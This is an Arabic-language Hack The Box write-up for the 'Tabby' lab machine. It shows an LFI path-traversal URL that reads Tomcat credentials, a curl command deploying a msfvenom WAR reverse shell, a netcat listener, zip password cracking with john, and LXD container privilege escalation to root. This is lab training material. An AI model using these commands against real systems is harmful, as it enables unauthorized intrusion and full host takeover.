Hackthebox tabby

linux شغالة على easy machine عبارة عن Tabby
وبعد ذلك نرفع شال tomcatتمكننا من سحب كلمة سر lfi بالفحص المبدئي نجد
الذي user نقوم بكسره ثم نستخدم كلمة السر للحصول على zip fileونبحث لنجد
ootللحصول على alpine-builderنستخدم admو lxd بدوره ينتمي الى

nmap نبدا بفحص البورتات باستخدام

codee source اثناء تصفح بورت 80 نجد دومين في 

عند فتح /etc/hostsفي domain نقوم باضافة
LFIوفحصه نجد انه مصاب بثغرة url

http://10.10.10.194:8080 بعد فتح
/usr/shareتحت tomcat نكتشف ان

: ب password نسحب
http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-
users.xml

shellنتبع الشرح التالي لرفع
https://gist.github.com/pete911/
.warبصيغة msfvenom ب shell نقوم بانشاء

الخاص بنا shell نرفع

curl --user 'tomcat':'$3cureP4s5w0rd123!' --upload-file shell.war
'http://10.10.10.194:8080/manager/text/deploy?path=/ts'
https://phantominfosec.wordpress.com/2020/07/08/htb-tabby-
walkthrough/

nc –lnvp 5555 نشغل
shell ثم نتصفح

نقوم بنقله الى جهازنا
ثم فك التشفير base64 قمت بتشفيره ب

نجد انه محمي بكلمة سر unzipعند محاولة فك

johnنقوم بكسرها باستخدام

user ashنقوم بتجريبها على admin@itنجد كلمة السر

ash تمكنا بالدخول ب

عند البحث في lxdو adm ينتمي الى ash نجد ان id عند كتابة
privilege escalationجوجل نجد مقال يتحدث عن
https://www.hackingarticles.in/lxd-privilege-
escalation

alpine-builderنحمل

https://github.com/saghul/lxd-
alpine-builder.git

lxc image import ./alpine-v3.12-x86_64-20201030_1631.tar.gz --alias fasto
lxc image list

ash@tabby:~$ lxc init fasto groot -c security.privileged=true
ash@tabby:~$ lxc config device add groot mydevice disk
source=/ path=/mnt/root recursive=true

ash@tabby:~$ lxc start groot
ash@tabby:~$ lxc exec groot /bin/sh

/mnt/root/root نذهب الى root حصلنا على
flagنجد